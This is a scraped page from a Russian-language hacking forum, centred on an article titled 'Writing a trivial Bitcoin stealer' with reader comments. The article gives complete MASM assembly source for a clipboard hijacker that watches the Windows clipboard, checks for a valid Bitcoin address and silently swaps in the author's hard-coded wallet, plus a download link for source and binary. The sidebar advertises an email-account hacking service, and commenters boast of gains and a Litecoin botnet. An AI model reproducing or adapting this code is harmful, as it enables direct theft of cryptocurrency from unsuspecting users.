Для доступа к контенту сайта, пожалуйста отключите Аd-Blосk. При включенном блокираторе сайт может работать не корректно.

Реклама
Новые комментарии
  • dan4uk0024
    Написал(а): dan4uk0024
    В новости: Trident File Locker
  • lolik5000
    Написал(а): lolik5000
  • vancheat
    Написал(а): vancheat
    В новости: Winlocker Builder 6
  • BatCat
    Написал(а): BatCat
    В новости: web shell (веб шелл)
  • Nastenka96
    Написал(а): Nastenka96
  • TronCreeper
    Написал(а): TronCreeper
Доска почёта
Посетители
Счётчики



Анализ сайта
Чат

Чтобы оставлять сообщения - зарегистрируйтесь
  • Anonim)
    01:50
    Всем ку
    • Kira_the_first
      21 июл 2017, 21:22
      @kfs3, а чем по жизни занимаешься(крякер или ддосер)?
      • Kira_the_first
        21 июл 2017, 21:18
        @kfs3, истину базаришь, чел
        • antygrav
          21 июл 2017, 21:02
          Ку
          • nafanya
            21 июл 2017, 16:01
            Ку, вчера софт на сайте висел, что то типа BitcoinMiner (в названии было что то типа moneymaker) куда он делся? Или я слепой? (В таком случае прошу вас помочь мне и дать ссылочку пожалуйста, примного благодарен)
            • delgado101
              21 июл 2017, 13:21
              hi
              • kfs3
                21 июл 2017, 12:49
                родителти это те кто нас долбаебов воспитали и дали жизнь как отец так и мать
                • kfs3
                  21 июл 2017, 12:49
                  не шути с предками родственников ибо участь может быть пагубной
                  • kfs3
                    21 июл 2017, 12:48
                    вайс ты дурачек не понемаешь ,что ты пишешь ,в ночи придут ,ну скажеим могут прийти те от которых уже не удешь,дурак живи ,он деньги с рекламы получай ,я не знаю семью корми ,мороженное кушай
                    • kfs3
                      21 июл 2017, 12:46
                      вайс ,я даже не навижу таких гнид которые родителей трогают будь чеих ,мразь ты ебучая и другим людям говорю ,народ решайте все между собой,родители это святое
                      • kfs3
                        21 июл 2017, 12:07
                        ты знаешь вайс ,если тебя плойт петухнет ,он будет по всем понятиям прав и с точки зрения марали и с точки зрения воровского мира и чисто по человечески ,упал ты в моих глаз вайс ,по ходу ты пустой человек ,падонок и гнида ,пускай плойт даже мент не мент ,но ты опустился вайс
                        • kfs3
                          21 июл 2017, 10:42
                          я че хотел спросить админ ты в этой петушне трешся каждый день ,что это за тип такой нарисовался Djoser ,молотит такое всех в ж*пу ебет кричит лучший кодер планеты ,там прогу для лохов написал минипостер ,хотя по уму шаблоны и вся эта х*йня ,ну этож разводняк
                          • kfs3
                            21 июл 2017, 10:40
                            ой бля кто нарисовался мент позорный))))))))) плойтяра это пиздец сколько зим ,админ ну людей не красит тоже это детсад причем тут его мать ,ну шутки ну ты и честь знай ,а то так на коллбасе ездить и будешь ,за такое и петухнуть могут
                            • DzIvan
                              21 июл 2017, 05:31
                              @admin, Админ чекни я сделал тему для форума!
                              • admin
                                20 июл 2017, 21:12
                                @exploit, у меня в подвале твоя мать.
                                • HANTOL
                                  20 июл 2017, 17:22
                                  @exploit, @exploit, Чем ты болен?
                                  • exploit
                                    20 июл 2017, 14:27
                                    Админ х*йло наверно запретил мне менять репу.
                                    • exploit
                                      20 июл 2017, 14:26
                                      Чота не работает
                                      • exploit
                                        20 июл 2017, 14:25
                                        Такс, надо репу масону заминусить, я за этим и пришел
                                        • exploit
                                          20 июл 2017, 14:25
                                          @Nastenka96, родился.
                                          • Nastenka96
                                            19 июл 2017, 13:31
                                            ЧТО ТЫ СДЕЛАЛ ДЛЯ ХИПХОПА В СВОИ ГОДЫ?
                                            • exploit
                                              19 июл 2017, 13:06
                                              Куплю брут пикабу.ру.
                                              • Infested Terran
                                                19 июл 2017, 01:20
                                                Happy hack'a*
                                                • Infested Terran
                                                  19 июл 2017, 01:19
                                                  Базу h еще сто лет назад вскрыли.
                                                  • impak
                                                    18 июл 2017, 21:59
                                                    Админ ты где?
                                                    • Nastenka96
                                                      18 июл 2017, 12:08
                                                      [eq
                                                      ъуй
                                                      х*й
                                                      • exploit
                                                        18 июл 2017, 11:33
                                                        х*й
                                                        • flixxxman
                                                          18 июл 2017, 11:13
                                                          +
                                                          • TronCreeper
                                                            18 июл 2017, 10:56
                                                            кто в сети
                                                            • lolik5000
                                                              18 июл 2017, 08:12
                                                              i'm not a YEBANned
                                                              Опрос на сайте
                                                              Как Вы нашли нас?
                                                              Поисковые системы
                                                              Порекомендовали
                                                              По ссылке с других сайтов
                                                              По ссылке с соц. сетей
                                                              Давно тут, по закладке
                                                              Ярлык в архиве с софтом
                                                              Случайно

                                                              Подписки

                                                                Получать новости на email:


                                                                Мы в соц. сетях:

                                                              Реклама

                                                              Последние сообщения с форума

                                                              Название темы Автор Статистика Последнее сообщение
                                                              раздаю аккаунты vk

                                                              Тема в разделе: Халява

                                                              LightStyles

                                                              Просмотров: 104644

                                                              Ответов: 470

                                                              Автор: anklavbot

                                                              Сегодня, 15:38

                                                              роздача от vika_78387

                                                              Тема в разделе: Халява

                                                              VIKA_78387

                                                              Просмотров: 223654

                                                              Ответов: 471

                                                              Автор: VIKA_78387

                                                              Сегодня, 14:38

                                                              Взлом почтовых аккаунтов gmail, ukr.net, mail.ru, list.ru, bk.ru, inbox.ru, mail.ua

                                                              Тема в разделе: Работа/Услуги

                                                              Snooper

                                                              Просмотров: 33353

                                                              Ответов: 87

                                                              Автор: Snooper

                                                              Сегодня, 07:12

                                                              Пишем тривиальный стилер биткоинов
                                                              Автор: exploit | Дата: 6-12-2013, 12:30 | Комментариев: 17 | Просмотров: 6514
                                                              Пишем тривиальный стилер биткоинов

                                                              Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.
                                                              Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
                                                              В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.


                                                              Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.
                                                              
                                                              .386
                                                              .model flat, stdcall
                                                              option casemap :none
                                                               
                                                              include \masm32\include\windows.inc
                                                              include \masm32\macros\macros.asm
                                                              include \masm32\macros\windows.asm
                                                               
                                                              uselib kernel32, user32, advapi32, masm32
                                                               
                                                              .const
                                                              ; Диапазон допустимой длины адреса кошелька
                                                              wallet_len_min equ 27
                                                              wallet_len_max equ 34
                                                               
                                                              ; Код версии адреса
                                                              address_version equ 00h
                                                               
                                                              ; Набор символов, используемых в адресе
                                                              ; Кроме: 0 O I l
                                                              wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0
                                                               
                                                              ; Адрес, на который будет заменяться значение в буфере
                                                              wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0
                                                               
                                                              .data?
                                                              prov dd ?
                                                              


                                                              Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.
                                                              
                                                              .code
                                                              ; Вспомогательные функции
                                                              ; Небольшая функция для логирования отладочной информации
                                                              log_message proc msg:dword
                                                                  local buffer[256]:byte
                                                               
                                                                  invoke GetLastError
                                                                  invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax
                                                               
                                                                  invoke OutputDebugString, addr buffer
                                                               
                                                                  ret
                                                              log_message endp
                                                               
                                                              base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword
                                                               
                                                                  ; Будем опираться на констаны, свойственные для проверки кошелька
                                                                  ; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)]
                                                                  ; Декодирование исключительно под адрес кошелька,
                                                                  ; для абстрактной строки в base58 функцию необходимо править
                                                               
                                                                  ; Заполняем содержимое буфера нулями
                                                                  xor eax, eax
                                                                  mov ecx, 25
                                                                  mov edi, out_buffer 
                                                                  rep stosb
                                                               
                                                               
                                                                  mov esi, in_buffer
                                                                  mov edi, out_buffer
                                                              m1:
                                                                  ; Нулл-байт во входном буфере - конец декодирования
                                                                  movzx eax, byte ptr[esi]
                                                                  test eax, eax
                                                                  je m5
                                                               
                                                                  ; Сохраним регистр на время сканирования символа в eax
                                                                  push esi
                                                               
                                                                  ; Символ должен быть из набора wallet_symbols
                                                                  mov esi, offset wallet_symbols
                                                              m2:
                                                                  movzx ebx, byte ptr[esi]
                                                                  ; Если байты совпадают, то символ входит в набор допустимых
                                                                  cmp eax, ebx
                                                                  jz m3
                                                               
                                                                  ; Если мы дошли до конца набора допустимых символов (нулл-байт)
                                                                  ; и все ещё не вышли из цикла, значит, символ не из набора
                                                                  test ebx, ebx
                                                                  je err0
                                                               
                                                                  ; Продолжаем проверку
                                                                  inc esi
                                                                  jmp m2
                                                              m3:
                                                                  ; Поместим в eax позицию найденого в наборе символа
                                                                  mov eax, esi
                                                                  mov esi, offset wallet_symbols
                                                               
                                                                  sub eax, esi
                                                               
                                                                  ; Вложенный цикл с конца выходного буфера
                                                                  mov ebx, 25 - 1
                                                              m4:
                                                                  ; N-й элемент буфера (с конца) умножим на 58
                                                                  ; и прибавим к позиции упомянутой выше
                                                                  movzx ecx, byte ptr[edi + ebx]
                                                               
                                                                  imul ecx, 58
                                                                  add eax, ecx
                                                               
                                                                  ; Сохраним в выходной буфер результат деления с остатком
                                                                  push ebx
                                                               
                                                                  cdq
                                                                  mov ebx, 256
                                                                  div ebx
                                                               
                                                                  pop ebx
                                                               
                                                                  mov byte ptr[edi + ebx], dl
                                                               
                                                                  ; Поделим позицию элемента на 256
                                                                  push ebx
                                                               
                                                                  cdq
                                                                  mov ebx, 256
                                                                  div ebx
                                                               
                                                                  mov eax, edx
                                                               
                                                                  pop ebx
                                                               
                                                                  ; Конец тела вложенного цикла
                                                                  dec ebx
                                                                  test ebx, ebx
                                                                  jne m4
                                                               
                                                               
                                                                  pop esi
                                                               
                                                                  ; Если в eax что-то отличное от нулл-байта,
                                                                  ; значит, адрес кошелька имеет некорректный размер
                                                                  test eax, eax
                                                                  jne err1
                                                               
                                                                  inc esi
                                                                  jmp m1
                                                              m5:  
                                                               
                                                                  mov eax, 1
                                                                  ret
                                                               
                                                              err0:
                                                                  pop esi
                                                                  invoke log_message, chr$("invalid symbol")
                                                               
                                                                  mov eax, 0
                                                                  ret
                                                              err1:
                                                                  invoke log_message, chr$("invalid address length")
                                                               
                                                                  mov eax, 0
                                                                  ret
                                                              base58_decode endp
                                                              


                                                              Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.
                                                              
                                                              ; Инициализация нужного криптопровайдера
                                                              sha256init proc
                                                                  invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
                                                                  .if eax == 0
                                                                      invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
                                                                  .endif
                                                               
                                                                  ret
                                                              sha256init endp
                                                               
                                                               
                                                              sha256fini proc
                                                                  invoke CryptReleaseContext, prov, 0
                                                               
                                                                  ret
                                                              sha256fini endp
                                                               
                                                              ; Хэширование SHA256
                                                              sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
                                                                  local hash:dword
                                                                  local aux:dword
                                                               
                                                                  ; CALG_SHA_256 - 0x0000800c
                                                                  invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash
                                                                  .if eax == 0
                                                                      invoke log_message, chr$("CryptCreateHash")
                                                                      jmp err
                                                                  .endif
                                                               
                                                                  invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
                                                                  .if eax == 0
                                                                      invoke log_message, chr$("CryptHashData")
                                                                      jmp err
                                                                  .endif
                                                               
                                                                  mov aux, sizeof dword
                                                               
                                                                  invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
                                                                  .if eax == 0
                                                                      invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE")
                                                                      jmp err
                                                                  .endif
                                                               
                                                                  invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
                                                                  .if eax == 0
                                                                      invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL")
                                                                      jmp err
                                                                  .endif
                                                               
                                                              err:
                                                                  .if hash != 0
                                                                      invoke CryptDestroyHash, hash
                                                                  .endif
                                                               
                                                                  ret
                                                              sha256 endp
                                                              


                                                              У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.
                                                              
                                                              ; Функция проверки адреса
                                                              validate_wallet proc uses esi edi, buffer:dword
                                                                  local decoded[32]:byte
                                                                  local digest1[32]:byte
                                                                  local digest2[32]:byte
                                                               
                                                                  invoke lstrlen, buffer
                                                                  .if eax < wallet_len_min || eax > wallet_len_max
                                                                      invoke log_message, chr$("wallet length error")
                                                                      jmp err
                                                                  .endif
                                                               
                                                                  ; Декодируем адрес из base58
                                                                  invoke base58_decode, buffer, addr decoded
                                                                  .if eax == 0
                                                                      invoke log_message, chr$("base58_decode error")
                                                                      jmp err   
                                                                  .endif
                                                               
                                                                  ; Проверяем версию
                                                                  lea eax, decoded
                                                                  mov al, byte ptr[eax]
                                                                  .if al != address_version
                                                                      invoke log_message, chr$("address version error")
                                                                      jmp err   
                                                                  .endif
                                                               
                                                                  invoke sha256, addr decoded, 21, addr digest1, sizeof digest1    
                                                                  invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2
                                                               
                                                                  ; Сравним декодированную и посчитанную контрольные суммы
                                                                  lea esi, decoded
                                                                  add esi, 21 
                                                                  lea edi, digest2
                                                               
                                                                  mov ecx, 4
                                                                  repz cmpsb
                                                                  jnz err
                                                               
                                                                  mov eax, 1
                                                                  ret
                                                              err:
                                                                  mov eax, 0
                                                                  ret
                                                              validate_wallet endp
                                                               
                                                              start proc
                                                                  local clipboard_data:dword
                                                               
                                                               
                                                                  invoke sha256init
                                                                  .if eax == 0
                                                                      invoke log_message, chr$("sha256init")
                                                                      jmp err
                                                                  .endif
                                                               
                                                                  .while TRUE
                                                                      invoke GetClipboardText
                                                               
                                                                      .if eax != 0
                                                                          mov clipboard_data, eax
                                                               
                                                                          ; Проверим содержимое буфера обмена и заменим,
                                                                          ; если это адрес Bitcoin кошелька
                                                                          invoke validate_wallet, clipboard_data
                                                                          .if eax != 0
                                                                              invoke log_message, chr$("valid wallet detected")
                                                                              invoke SetClipboardTextEx, offset wallet_replace
                                                                          .endif
                                                               
                                                                          invoke GlobalFree, clipboard_data
                                                                      .endif
                                                               
                                                                      invoke Sleep, 500
                                                                  .endw
                                                               
                                                              err:
                                                                  invoke sha256fini
                                                               
                                                                  invoke ExitProcess, 0
                                                                  ret
                                                              start endp
                                                               
                                                              end start
                                                              


                                                              Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова
                                                              
                                                              invoke OpenClipboard,NULL                   ; open clipboard
                                                              


                                                              я добавил ещё
                                                              
                                                              invoke EmptyClipboard                       ; clear clipboard
                                                              


                                                              Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
                                                              Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.
                                                              Пишем тривиальный стилер биткоинов

                                                              Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.

                                                              Исходный код + бинарник для тестов: скачать
                                                              kaimi.ru
                                                              Пароль на все архивы "happy-hack.ru" либо "hh"





                                                              Поделись:
                                                              Здесь присутствуют:
                                                              На данный момент новость никто не просматривает.
                                                              Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
                                                              Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: tart777
                                                              • Дата: 6 декабря 2013 12:49
                                                              • Новостей: 0
                                                              • Комментариев: 40
                                                              Попробую тест

                                                              Репутация: ( )

                                                              • Написал: TaDjIk
                                                              • Дата: 6 декабря 2013 12:52
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              хрень

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: 3000DIMA
                                                              • Дата: 6 декабря 2013 13:23
                                                              • Новостей: 0
                                                              • Комментариев: 16
                                                              Цитата: TaDjIk
                                                              хрень

                                                              ниасилил?
                                                              Life:)BoX нравится это.
                                                              Copyright ©

                                                              Репутация: ( 105 )
                                                            • Offline Пользователь offline

                                                              • Написал: SyGaK
                                                              • Дата: 6 декабря 2013 13:40
                                                              • Новостей: 114
                                                              • Комментариев: 1313
                                                              Цитата: TaDjIk
                                                              хрень

                                                              Аргументируйте свою позицию. Лично мне кажется, что ты просто флудишь. мб бан?

                                                              --------------------
                                                              serega311212, juteex, ДрАйВ и еще 1-му нравится это.
                                                              Copyright ©

                                                              Репутация: ( 105 )
                                                            • Offline Пользователь offline

                                                              • Написал: admin
                                                              • Дата: 6 декабря 2013 14:37
                                                              • Новостей: 385
                                                              • Комментариев: 1382
                                                              kaimi чё нибудь да придумает). Статейка збс.
                                                              serega311212 и juteex нравится это.
                                                              Copyright ©

                                                              Репутация: ( 53 )
                                                            • Offline Пользователь offline

                                                              • Написал: exploit
                                                              • Дата: 6 декабря 2013 14:49
                                                              • Новостей: 15
                                                              • Комментариев: 658
                                                              Цитата: admin
                                                              kaimi чё нибудь да придумает). Статейка збс.

                                                              Жаль редко пишет. smile-54

                                                              --------------------
                                                              serega311212 и juteex нравится это.
                                                              Copyright ©

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: mSx73
                                                              • Дата: 6 декабря 2013 16:47
                                                              • Новостей: 0
                                                              • Комментариев: 3
                                                              хах норм срубил 2 касаря db

                                                              --------------------

                                                              Репутация: ( 125 )
                                                            • Offline Пользователь offline

                                                              • Написал: xJle6ylllek
                                                              • Дата: 6 декабря 2013 17:22
                                                              • Новостей: 2
                                                              • Комментариев: 97
                                                              Цитата: mSx73
                                                              хах норм срубил 2 касаря db

                                                              хорошо флудишь питушек
                                                              kirik.97, timon8520 и PAHAN нравится это.
                                                              Copyright ©

                                                              Репутация: ( -9 )
                                                            • Offline Пользователь offline

                                                              • Написал: _or_75
                                                              • Дата: 6 декабря 2013 20:09
                                                              • Новостей: 0
                                                              • Комментариев: 62
                                                              какой еблан будет писать на asm , богом что ли возомнил, написал на asm и все крут ёпта, будто школота поймет что там нацарапано хоть бы на c++ чтоли du

                                                              Репутация: ( 783 )
                                                            • Offline Пользователь offline

                                                              • Написал: freddy777
                                                              • Дата: 6 декабря 2013 20:37
                                                              • Новостей: 8
                                                              • Комментариев: 370
                                                              Все просто и понятно(как два пальца) eh
                                                              kirik.97 и serega311212 нравится это.
                                                              Copyright ©

                                                              Репутация: ( -11 )
                                                            • Offline Пользователь offline

                                                              • Написал: Dovbnyak
                                                              • Дата: 6 декабря 2013 21:46
                                                              • Новостей: 0
                                                              • Комментариев: 106
                                                              Я думаю в скором времени появится слилер для криптовалют )) Если уже даже не появился ) какойто приват ) cn

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: xXxRAMONxXx
                                                              • Дата: 7 декабря 2013 09:15
                                                              • Новостей: 0
                                                              • Комментариев: 64
                                                              шляпа( dm

                                                              Репутация: ( -9 )
                                                            • Offline Пользователь offline

                                                              • Написал: _or_75
                                                              • Дата: 7 декабря 2013 09:39
                                                              • Новостей: 0
                                                              • Комментариев: 62
                                                              хуйня я вот недавно ботнет litecoin напиздошил ))0

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: #fin1x
                                                              • Дата: 7 декабря 2013 10:11
                                                              • Новостей: 0
                                                              • Комментариев: 2
                                                              Я тупой школьник который нифига не понял :(
                                                              kirik.97 и PblLLAPb нравится это.
                                                              Copyright ©

                                                              Репутация: ( -9 )
                                                            • Offline Пользователь offline

                                                              • Написал: _or_75
                                                              • Дата: 8 декабря 2013 12:28
                                                              • Новостей: 0
                                                              • Комментариев: 62
                                                              Цитата: byShiz0
                                                              запустил у себя, мне пизда?


                                                              нен

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: cool.botovod
                                                              • Дата: 14 декабря 2013 11:39
                                                              • Новостей: 0
                                                              • Комментариев: 1
                                                              Цитата: byShiz0
                                                              запустил у себя, мне пизда?


                                                              тебе хуй

                                                              Репутация: ( 55 )
                                                            • Offline Пользователь offline

                                                              • Написал: kirik.97
                                                              • Дата: 15 декабря 2013 15:14
                                                              • Новостей: 5
                                                              • Комментариев: 131
                                                              Цитата: _or_75
                                                              Цитата: byShiz0
                                                              запустил у себя, мне пизда?


                                                              нен

                                                              Цитата: cool.botovod
                                                              Цитата: byShiz0
                                                              запустил у себя, мне пизда?


                                                              тебе хуй

                                                              Хорошая Попытка нвореги.
                                                              Добавление комментария
                                                              Вопрос:
                                                              Я видел дебилов диких, я слышал кретинов стоны, и если один скажет: "ихний", миллионы ответят: *****
                                                              Ответ:*
                                                              Имя:*
                                                              E-Mail:
                                                              Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Картинка
                                                              Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
                                                              Введите код: *